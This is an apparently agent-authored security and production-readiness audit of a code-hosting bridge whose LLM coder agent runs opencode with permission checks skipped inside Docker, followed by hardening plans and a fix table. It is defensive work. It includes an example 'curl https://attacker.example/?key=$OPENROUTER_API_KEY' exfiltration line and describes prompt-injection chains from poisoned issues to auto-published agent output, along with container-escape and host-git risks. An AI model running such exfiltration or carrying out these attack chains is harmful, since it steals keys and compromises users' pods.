Multi-host federation — accept arbitrary OIDC issuers (after the allowlist of P0-S4 is parameterised per-deployment).
-
Pull-request equivalent via pod-to-pod inboxes — reuses the
mind-market-v0request pattern. Pure feature work. -
Custom domains for published sites. Out of scope of the bridge; a separate frontdoor service.
-
Multi-arch container images (linux/amd64 + linux/arm64) — only matters if you target Pi or Graviton.
-
SBOM via
npm sbomorsyftstored with the image. -
Rootless container runtimes for the agent sandbox. The current design uses the host Docker daemon (filtered through
socket-proxyper P0-S9) to spawn coder + workflow-runner siblings. Even with the proxy, the Docker daemon is root, so a body-level escape (aPrivileged: truecreate payload) regains host root. Strategic alternatives, listed by ascending isolation and operational cost:- Rootless Podman — daemonless, runs as the unprivileged user that invokes it. The bridge could ship a
podmanCLI inside its container and talk to a per-user Podman socket. Drop-in fordocker run; eliminates the "container ≡ host root" framing entirely. - Sysbox — a runc-compatible runtime that wraps containers with namespaces tight enough that even a
--privilegedcontainer inside a Sysbox container can't see the host. Lowest friction migration from the current Docker layout. - gVisor /
runsc— userspace kernel between container and host; closes a large class of kernel-level escape bugs at some compatibility cost. - Firecracker microVMs (via
firecracker-containerdor Kata Containers) — hardware-virtualised sandbox, used by AWS Lambda for the same problem. Strongest, also the heaviest.
Until one of these lands, assume a fully-compromised bridge means a re-paved VM and provision accordingly: dedicated host, daily snapshots, no shared secrets, no co-tenancy with anything that matters.
- Rootless Podman — daemonless, runs as the unprivileged user that invokes it. The bridge could ship a
This chapter stands apart because the "agents that respond to issue events" subsystem (described in README.md, code in src/lib/agents/) is a different shape of production risk than the rest of the bridge. The bridge is plumbing — it translates protocols. The agents subsystem runs an LLM with file-write powers driven by user-supplied text. Its failure modes don't look like "the publisher returned 500", they look like "the coder committed a backdoor into your agent/issue-3 branch and then published it to your pod."
ensureAgentsBootstrap (src/lib/agents/bootstrap.ts) registers a single role — coder — bound to the coder driver, and fires it on issue.created and issue.commented. Credentials are resolved per repo owner via resolveCoderConfig(ownerWebId) (src/lib/ai-providers/store.ts:225): the owner's BYOK key from /profile/ai-providers first, then the bridge-wide OPENROUTER_API_KEY env, then a hard error. When an authenticated issue creation / comment occurs:
- The bridge clones the bare repo into
MIND_CODER_WORKROOT(coder.ts). - It
docker runs${MIND_CODER_IMAGE}(defaultmind-codespaces/coder:latest) bind-mounting${workDir}:/work, host UID, the resolved provider key forwarded via--env <NAME>(the no-value form — Docker reads from the bridge's process env so the key never appears inps auxe),--memory=1g --cpus=1,--pids-limit=256,--ulimit nofile=1024:1024,--read-only+--tmpfs /tmp:exec,--security-opt no-new-privileges,--cap-drop ALL, and--network ${MIND_CODER_NETWORK:-bridge}. - Inside the container, the entrypoint writes the resolved key into
/tmp/opencode/auth.jsonkeyed byMIND_AI_PROVIDERand execsopencode run --dir /work -m <provider>/<model> --dangerously-skip-permissions "$task". - The task prompt is the issue title + body + prior comments rendered by
renderTaskPrompt, with an explicit two-mode contract: edit code (→ PR) or write.mind/agent-comment.md(→ comment on the issue, which re-fires the loop). - After the container exits, the bridge inspects
git status --porcelain, strips.mind/and.playwright-mcp/scratch dirs, commits toagent/issue-{n}asmind:agent:coder, pushes to the bare repo, and records apull_requestsrow. - That push fires the post-receive hook → if the repo's
pages.sourceBranchmatches, the publisher uploads the agent's work into the owner's pod.
The Dockerfile docstring states the design intent explicitly (infra/coder/Dockerfile:1-6): "opencode itself runs with --dangerously-skip-permissions because the container is the sandbox."
The container is a partial network sandbox. --network is driven by MIND_CODER_NETWORK and defaults to bridge for the demo path. Full internet egress is still possible there — curl https://attacker.example/?key=$OPENROUTER_API_KEY from inside the container works. Setting MIND_CODER_NETWORK=none revokes egress and is recommended for prod; the open §3.4 Verdaccio mirror lets the agent fetch packages without the open bridge.
Trigger is now authenticated owner-only. P0-S1 closed the unauth issue route — only the repo owner can file an issue or comment, which is what fires the coder. An attacker still needs a stolen owner session to inject prompts; the unauthenticated stranger-on-the-internet path no longer exists. Prompt-injection from a malicious owner against themselves is now the main remaining exposure on this surface — bounded but real (an owner who's been socially engineered can wreck their own pod and burn their own BYOK quota).
The output is auto-published when Pages is enabled. Even with the auth fix, an owner who has Pages enabled and configures sourceBranch: "agent/issue-{n}" (or just main with an agent that merges to it) sees the agent's output published into their pod under the publisher's identity. The chain is the same; only the attacker shifted from "any reachable stranger" to "anyone who can compromise an owner session or the owner themselves."
The image is unpinned and unverified. MIND_CODER_IMAGE defaults to mind-codespaces/coder:latest. No digest pin, no signature, no SBOM. There is no documented build, push, or sign procedure — the Dockerfile is in-tree, but nothing in the repo turns it into a registry-hosted image. If you forget to build it ahead of time, the coder driver silently fails per-run; if you build it on a developer laptop and docker push, you've made an untracked supply-chain dependency.
opencode-ai@^1.15 is caret-pinned (Dockerfile:15). Two builds of "the same" Dockerfile produce different binaries because npm resolves the latest matching version at build time. The PRD's own warning ("CLI surface has churned across versions") applies.
Soft cost ceiling. MAX_RUNS_PER_OWNER_PER_DAY (default 500) caps total runs per owner per 24h via assertCanDispatchRun, and agentDispatch rate-limits the manual hand-fire route to 5 / 30s per IP. But there's no per-issue cap and no token-spend cap — a single comment loop the model decides to extend can chew through an owner's BYOK quota (under BYOK, that's the owner's own bill; under bridge-wide OPENROUTER_API_KEY, it's the operator's). Surface today's spend on /repos/{o}/{r} and refuse to dispatch when over budget.
The post-container git commit + push runs on the host (coder.ts:153-180). A malicious file the container produced inside /work — a symlink to /etc, a .gitattributes triggering filter execution, a .git/hooks/pre-commit if opencode wrote into a nested repo — gets handled by host git. opencode is "trusted" to not commit .git/ because the container is its sandbox, but the host then runs git add -A over whatever opencode wrote (coder.ts:159).
No content review before push. opencode can commit .env-style files into the repo; the publisher's forbidden-list (src/lib/pages/publisher.ts:19-21) catches them at publish time, but the commit lives in git history forever. There is no diff scanner, no secret scanner, no human-in-the-loop gate.
No streaming, no observability mid-run. agent_runs rows are written once after the container exits (coder.ts:24). A 10-minute run that's silently malicious looks identical to a 10-minute run that's silently productive until the final write.
The fixes split into three layers — sandbox, supply chain, governance — plus a hard product question.
Sandbox (the urgent set; lifts the trust model the Dockerfile claims):
- Mediated Docker API access (P0-S9). When the bridge runs in a container — as in
infra/prod/docker-compose.yml— it must NOT have/var/run/docker.sockmounted directly. Routing throughtecnativa/docker-socket-proxysets the outer trust boundary that every inner-sandbox item below depends on. ✔ Shipped in the prod compose; verify on every compose change that no service quietly re-adds the direct mount. --network noneon the coder container (coder.ts:127), with an explicit allowlist of egress destinations injected per-run if the agent legitimately needs to fetch packages. The "fetch through a Verdaccio mirror" approach from §3.4 applies here too. Companion finding: the workflows runner has the same gap, fix them together.- Stop passing the API key as a CLI
-evalue. Use--env OPENROUTER_API_KEY(the no-value form, which makes Docker read the variable from the bridge's process env), or--env-filewith a per-run tmpfile chmod 600 that's deleted in thefinally. Strips the key fromps auxe. - Drop
--cap-add(none today, good), add--security-opt no-new-privileges,--read-onlywith explicit--tmpfs /tmpand writable bind only at/work,--pids-limit=256,--ulimit nofile=1024. - Make the host-side post-container git operations defensive: refuse to
addsymlinks (git config --local core.symlinks falsein workDir beforegit add); refuse to commit anything matching the publisher forbidden-list; rungit fsckafter commit before push. - Per-run timeout already exists (
coder.ts:81, 129, default 600 s) — good. Add a parent process-group kill on timeout (spawn detached: true+process.kill(-pid)), mirroring P0-R3.
Supply chain:
- Build the coder image in CI on every merge to main, tag with the commit SHA, push to a registry you control, and set
MIND_CODER_IMAGEto a@sha256:…digest in production. Never use:latestfor a sandbox image. - Pin
opencode-aito an exact version, not^1.15. Bump deliberately, with a changelog scan, after testing. - Pin the base image to a
node:22-alpine@sha256:…digest. The Dockerfile's design comment ("size matters because we spin one per run") justifies alpine here, even though the bridge image itself should be Debian (different concerns). - Generate an SBOM per build (
syftagainst the image). Track which opencode version produced which agent run by writing the resolved digest into theagent_runs.datablob.
Governance (the part that determines whether this feature is even safe to expose):
- Trigger auth. ✔ Shipped — P0-S1 made issue creation and comment routes owner-only, so only the repo owner can fire the coder. Future work: a real "collaborators" model (the codebase reserves "team" for this concept;
src/lib/agents/types.ts:17) so an owner can delegate without sharing their session. - Budget caps.
MAX_RUNS_PER_OWNER_PER_DAY(500 default) caps run count; there's still no token spend cap, no per-repo cap, and no per-issue cap. Under BYOK the owner pays for runaway runs; under bridge-wide env, the operator does. Surface today's spend on/repos/{o}/{r}and refuse to dispatch when over budget. - Branch-target restrictions on Pages.
pages.sourceBranchmust not be settable toagent/*patterns unless the repo owner explicitly opts in via a separate confirmation. This breaks the most severe chain (poisoned issue → agent push → auto-publish) even when other defenses fail. - Diff review before push. At minimum, a secret scanner (gitleaks, trufflehog) over the staged tree before the coder's
git push. Today the coder already opens a draft PR rather than merging — adding a secret-scan gate on that PR before merge closes the loop. - Audit trail. Persist the full opencode transcript (not just the 2000-char tail in the summary) for every run — into a separate logs table or object store, not into
agent_runs.summarywhich feeds the UI. Required for incident response if a poisoned run does ship. The per-run log file underAGENT_LOGS_DIRis a start but isn't currently retained or rotated.
The product question. The PRD positions Mind Codespaces as a pod-first replacement for GitHub Pages — pushing static sites to user-owned storage. The agent-that-can-commit-code is a different product with a different threat model, and the current single coder role bundles them. Two reasonable resolutions:
- Split it. Keep the coder role out of v1; ship Pages publishing alone. Re-introduce the coder as a separate opt-in feature (or a sibling
mind-engineer-v0prototype) with its own production bar — branch-target restrictions, token budgets, mandatory--network none, secret scanner. - Gate it. Keep the coder, but lock it behind
MIND_ENABLE_CODER=1, branch-target restrictions on Pages, a token budget cap, andMIND_CODER_NETWORK=noneby default — and document that operators of public deployments should leave it off.
Either path is defensible. The current state — coder enabled by default whenever the registry has a repo, default MIND_CODER_NETWORK=bridge, no token cap, no Pages branch-target restriction — is not.
Most of §6 is P0 if you ship with the coder enabled and N/A if you don't. Concretely: if your v1 disables the coder, only the supply-chain items (image pinning, SBOM, no :latest) and the trigger-auth item (P0-S1, already on the list) carry over. If your v1 keeps the coder, add: --network none default + image digest pin + branch-target restriction + token-spend budget cap to the week-1 work in §7.
Either way, if the bridge itself runs in a container (i.e. you use infra/prod/docker-compose.yml), P0-S9 is also P0 — the bridge-↔-host-daemon trust boundary cuts across whether agents are enabled, because the workflows runner uses the same Docker socket. The shipped compose addresses this with socket-proxy; the residual-risk caveat in P0-S9 still applies.
Six engineer-weeks of focused work to clear P0+P1; the four blocks below can be partially parallelised by a team of two.
Week 1 — security floor. ✔ P0-S1 (auth gate, session module + per-route requireOwner), ✔ P0-S2 (seeded fallback gated), ✔ P0-S3 (HMAC the hook + reinstall script), ✔ P0-S4 (OIDC hardened: CSRF, issuer pinning, secure cookies, identity_storage encrypted at rest), ✔ P0-S5 (pod-root verification at repo-create), ✔ P0-D4 (env validation module enforces all of the above at boot).
Week 2 — reliability floor. ✔ P0-R1 (publish lock with latest-wins coalescing), ✔ P0-R2 (OIDC refresh-failed distinct error class; never falls back silently), ✔ P0-R3 (process-group kill + 10min timeout + shutdown drain + truncated-success fix), ✔ P0-R6 (createRepo transaction + busy_timeout pragma), ✔ P0-S6 (symlink skip + extended forbidden list + size cap + validateName in coder). Outstanding from §3.2: integration test suite — no test runner yet wired.
Week 3 — deployment baseline. ✔ P0-D1 (Dockerfile + HEALTHCHECK against /api/livez), ✔ P0-D2 (prod compose with new required secrets + socket-proxy), ✔ P0-D3 (TLS + reverse proxy + split internal URL via BRIDGE_INTERNAL_URL), ✔ P0-D5 (real /api/health with registry/git/pod/docker + cached + /api/livez), ✔ P0-D6 first half (scripts/backup-registry.ts using SQLite online .backup(); npm run backup:registry). Remaining: schedule the backup script in the operator's environment, replace # TODO @sha256: markers with real digests in infra/prod/docker-compose.yml, document the restore drill.
Week 4 — hook reliability + observability. ✔ Hook delivery script (reinstall:hooks) for the rotation case; ✔ P0-R5 publish-status columns (migration 010) + PublishStatusBanner; ✔ P0-R7 Caddy request_body max_size cap; ✔ P0-R4 reconciler (migration 011 + src/lib/pages/reconciler.ts + instrumentation.ts boot + npm run reconcile:pages + POST /api/admin/reconcile); ✔ §3.1 structured logging (src/lib/log.ts) + correlation IDs + metrics (src/lib/metrics.ts + /api/metrics).
Week 5 — tests & workflows hardening. ✔ §3.5 agents hardening (key not in argv, sandbox flags, openrouter retry/timeout); ✔ Rate-limiter (src/lib/rate-limit.ts) wired into 5 high-risk POSTs + push-CGI Basic-auth-failure bucket; ✔ §3.4 workflows hardening (--network=none default, Verdaccio sidecar, --read-only, log-capture cap, stuck-run reaper at boot); ✔ P0-S8 second half (CORS allowlist src/proxy.ts, JSON size cap src/lib/http/json.ts); ✔ §3.2 priority unit tests (path-traversal, push-token lifecycle, publisher walk, quotas — 8 vitest passing). Remaining: §3.2 items 3, 4, 6, 8–10 (auth-gate matrix table test, real-git Smart-HTTP integration, live-CSS publish, migrations harness, OIDC roundtrip, concurrent push, reconciler integration).
Week 6 — error envelope + push-token lifecycle + CI. Remaining: §3.3 unified error envelope ({ error: { code, message } }) — drift still visible across the API; §3.6 token expiry/rotation/last-used columns + UI + server-side pepper; first GitHub Actions workflow (npm test + npm run smoke:db + npm run build + npx tsc --noEmit on every PR). P2 items begin.
Week 7 — multi-user signup + quotas + image pinning. ✔ Signup flow (POST /api/signup + /signup page + users table migration 012); ✔ Per-user quotas (src/lib/registry/quotas.ts); ✔ pin-image-digests.sh operator script. Remaining: repos.owner → users.owner_slug FK rewrite; CSS-backend swap from file to Postgres; image-pin step actually run on the deploy host.
| Fix | Location |
|---|---|
| Authenticate API routes | ✔ session module src/lib/auth/session.ts; wired into all POST/PATCH/PUT/DELETE under src/app/api/repos/..., /api/identities/{webId}, /api/agents/dispatch |
| Kill seeded fallback in prod | ✔ src/lib/solid/fetch-for-owner.ts (gated on getEnv().allowSeededFallback) |
| HMAC the post-receive hook | ✔ src/lib/git/backend.ts (hook script), src/app/api/git/internal/post-receive/route.ts (verify) |
| CSRF + issuer pinning on OIDC | ✔ src/app/api/auth/start/route.ts (Origin + WebID-pinning + secure cookies via getEnv) |
| Encrypt identity_storage | ✔ src/lib/registry/identities.ts (AES-256-GCM with IDENTITY_ENCRYPTION_KEY; legacy plaintext rows transparently re-encrypted on next write) |
| Verify ownerPodRoot vs WebID | ✔ src/app/api/repos/route.ts calls verifyPodRootForWebId in src/lib/solid/profile.ts |
| Symlink check in walk | ✔ src/lib/pages/publisher.ts (lstat-based) |
| Forbidden-list extension | ✔ src/lib/pages/publisher.ts (extended dirs + prefixes + extensions + size cap) |
| Per-repo publish lock | ✔ src/lib/pages/publish-lock.ts (latest-wins coalescer); called from publisher + workflow runner |
| Distinguish "no identity" vs "refresh failed" | ✔ src/lib/solid/oidc-server.ts throws OidcRefreshFailedError; src/lib/solid/fetch-for-owner.ts re-raises as OwnerFetchUnavailableError |
| Process group + AbortSignal in CGI | ✔ src/lib/git/http-cgi.ts (detached + group kill + 10min timeout + req.signal + shutdown drain + truncated-success fix) |
| Reinstall-hooks script | ✔ scripts/reinstall-hooks.ts, npm run reinstall:hooks. Hook→pages reconciler (HEAD vs last_published_sha) still pending. |
| Publish status columns + UI | ✔ src/lib/registry/migrations/010_publish_status.sql; markPagesFailed in src/lib/registry/repos.ts; PublishStatusBanner in src/app/repos/[owner]/[repo]/page.tsx:223 |
| Rate limiter | ✔ src/lib/rate-limit.ts (in-memory token-bucket); wired into /api/repos POST, /api/repos/{o}/{r}/{issues,tokens} POST, /api/auth/start, /api/agents/dispatch |
| Caddy push-body cap | ✔ infra/prod/Caddyfile:32-34 request_body max_size {$MIND_MAX_PUSH_BODY:1GB} |
| SQLite online backup | ✔ scripts/backup-registry.ts, npm run backup:registry (uses Database#backup()) |
| Push-CGI brute-force throttle | ✔ RATE_LIMITS.gitPushAuthFailure in src/lib/rate-limit.ts; isLockedOut/recordFailure wired in src/app/api/git/[owner]/[repo]/[...path]/route.ts |
| HEAD→last_published_sha reconciler | ✔ migration 011_last_published_sha.sql; src/lib/pages/reconciler.ts; src/instrumentation.ts + src/lib/bootstrap.ts; npm run reconcile:pages; POST /api/admin/reconcile (Bearer BRIDGE_ADMIN_TOKEN) |
| CORS allowlist | ✔ src/proxy.ts (Next.js 16 proxy convention); env BRIDGE_CORS_ALLOWED_ORIGINS |
| JSON response-size cap | ✔ src/lib/http/json.ts jsonResponse() (default 5MB via BRIDGE_MAX_JSON_RESPONSE_BYTES); wired into listing GETs (/api/repos, /api/repos/{o}/{r}/issues, …/runs) |
| Per-user quotas | ✔ migration 012_users.sql; src/lib/registry/users.ts; src/lib/registry/quotas.ts with env knobs MAX_REPOS_PER_OWNER, MAX_TOKENS_PER_REPO, MAX_RUNS_PER_OWNER_PER_DAY, MAX_DISK_PER_REPO_BYTES; assertions wired in /api/repos POST, /api/repos/{o}/{r}/tokens POST, /api/repos/{o}/{r}/runs POST, /api/agents/dispatch POST, and /api/git/.../[...path] push CGI |
| Account onboarding | ✔ POST /api/signup (gated on BRIDGE_ENABLE_SIGNUP=1); /signup page + signup-form.tsx |
| Image digest pinning | ✔ infra/prod/scripts/pin-image-digests.sh (operator-run on deploy host after docker compose pull) |
| Structured logger + correlation IDs | ✔ src/lib/log.ts (NDJSON, LOG_LEVEL/LOG_FORMAT, scrubWebId, clip, withCorrelationId via AsyncLocalStorage); wired into publisher, post-receive, /api/auth/start, /api/auth/callback |
| Prometheus metrics endpoint | ✔ src/lib/metrics.ts + src/app/api/metrics/route.ts (Bearer BRIDGE_METRICS_TOKEN); counters wired in publisher, workflows runner, agents dispatch, push CGI |
| Workflow network isolation | ✔ src/lib/workflows/docker.ts --network=${MIND_WORKFLOW_NETWORK} default none + --read-only --cap-drop ALL --pids-limit=512; infra/prod/docker-compose.yml Verdaccio sidecar on mind-workflows network + infra/prod/verdaccio.yaml |
| Workflow log capture cap | ✔ src/lib/workflows/docker.ts appendCapped (default 5MB via MIND_WORKFLOW_LOG_LIMIT) |
| Stuck workflow run reaper | ✔ reapStuckRuns() in src/lib/registry/runs.ts; fired from ensureServerBootstrap |
| Test suite (vitest) | ✔ vitest.config.ts, npm test / npm run test:watch; 8 tests in tests/ (path-traversal, push-token lifecycle, publisher walk, quotas) |
| DB transactions around createRepo | ✔ src/lib/registry/repos.ts (db.transaction wraps both inserts) |
| busy_timeout pragma | ✔ src/lib/registry/db.ts (5s) |
| Stream / size-cap publisher PUTs | ✔ 50MB per-file cap (MAX_PUBLISH_FILE_SIZE); streaming PUTs still pending |
| Env validation module | ✔ src/lib/env.ts; getEnv consumed by callback, hook, identities, publisher, post-receive, openrouter, coder |
Real /api/health |
✔ src/app/api/health/route.ts + new liveness probe src/app/api/livez/route.ts; Dockerfile.bridge HEALTHCHECK targets livez |
| CSRF helper for client components | ✔ src/lib/auth/csrf-client.ts; consumed by token-manager, identity-row, comment-form, issue-actions, rerun-button, new-issue-form |
| Hardened coder docker invocation | ✔ src/lib/agents/drivers/coder.ts: --env (no =value), --read-only, --tmpfs, --security-opt no-new-privileges, --cap-drop ALL, --pids-limit, --ulimit, MIND_CODER_NETWORK |
| OpenRouter retry/timeout | ✔ src/lib/agents/drivers/openrouter.ts: 90s per-call AbortSignal timeout, retry on 429/5xx/network with exponential backoff + jitter |
| Bridge Dockerfile + prod compose | ✔ infra/prod/Dockerfile.bridge, infra/prod/docker-compose.yml, infra/prod/Caddyfile |
| Docker socket mediation (P0-S9) | ✔ infra/prod/docker-compose.yml socket-proxy service; bridge env DOCKER_HOST=tcp://socket-proxy:2375 |
Coder workdir env (MIND_CODER_WORKROOT) |
src/lib/agents/drivers/coder.ts:61, 125-130 |
| Image digest pinning in prod | infra/prod/.env.example (MIND_CODER_IMAGE), infra/prod/docker-compose.yml (caddy/css/socket-proxy tags) |
| Issues/comments pod→SQLite reconciler | src/lib/registry/issues.ts, src/lib/solid/issues.ts; new startup hook |
| Synchronous first-write to pod for issues/comments | src/app/api/repos/[owner]/[repo]/issues/route.ts:104-109, [number]/route.ts:81, comments/route.ts:92 |
pod_sync_status columns on issues/comments |
new migration on top of src/lib/registry/migrations/004_issues.sql |
| Rootless agent runtime (Podman / Sysbox / Firecracker) | strategic; replaces the host-daemon dependency the proxy mediates |
Use SQLite .backup() API |
✔ scripts/backup-registry.ts — schedules at the operator level (cron / systemd timer / sidecar) still pending |
Agents container: --env not =value; --network none |
src/lib/agents/drivers/coder.ts:111, 99-127 |
Coder image: pin to @sha256:…, build in CI, no :latest |
src/lib/agents/drivers/coder.ts:34, infra/coder/Dockerfile:8,15 |
Coder container: --read-only, no-new-privileges, --pids-limit |
src/lib/agents/drivers/coder.ts:105-127 |
| Defensive host-side git after coder run | src/lib/agents/drivers/coder.ts:153-180 |
| Persist full opencode transcript to audit log | src/lib/agents/drivers/coder.ts:130 (truncates to 2000 chars) |
Branch-target restriction on pages.sourceBranch |
src/lib/registry/repos.ts:212-265, src/lib/pages/publisher.ts: |
| Per-repo / per-owner agent budget cap | new module; called from src/lib/agents/dispatch.ts |
MIND_ENABLE_CODER opt-in flag (and default to off in prod) |
src/lib/agents/bootstrap.ts |
| Workflows: hard-fail when Docker unavailable | src/lib/workflows/runner.ts:62-67, src/lib/workflows/docker.ts:28-56 |
| Stuck-run reaper | startup pass over workflow_runs |
| OpenRouter retry on 5xx + timeout | src/lib/agents/drivers/openrouter.ts:67-81, 107-141 |
| Token expiry / rotation / last-used | src/lib/registry/tokens.ts:19-39, 64-73; new migration |
| Pino logger | replaces console.* across 20+ sites |
| Test scaffolding | new package.json scripts, new tests/ dir, new .github/workflows/ci.yml |
| ESLint config | new eslint.config.mjs; new lint script |
| Row validation layer | src/lib/registry/{repos,runs,issues,agent-runs,identities,tokens}.ts |
| Unified error envelope | every NextResponse.json({ error: … }) site |
Source audits: four parallel agents, May 2026. Updated 2026-05-25 to reflect the managed-multi-user pass — see §7 Week 4–7 for the change manifest. Re-run when the codebase changes substantially — this document is a snapshot, not a contract.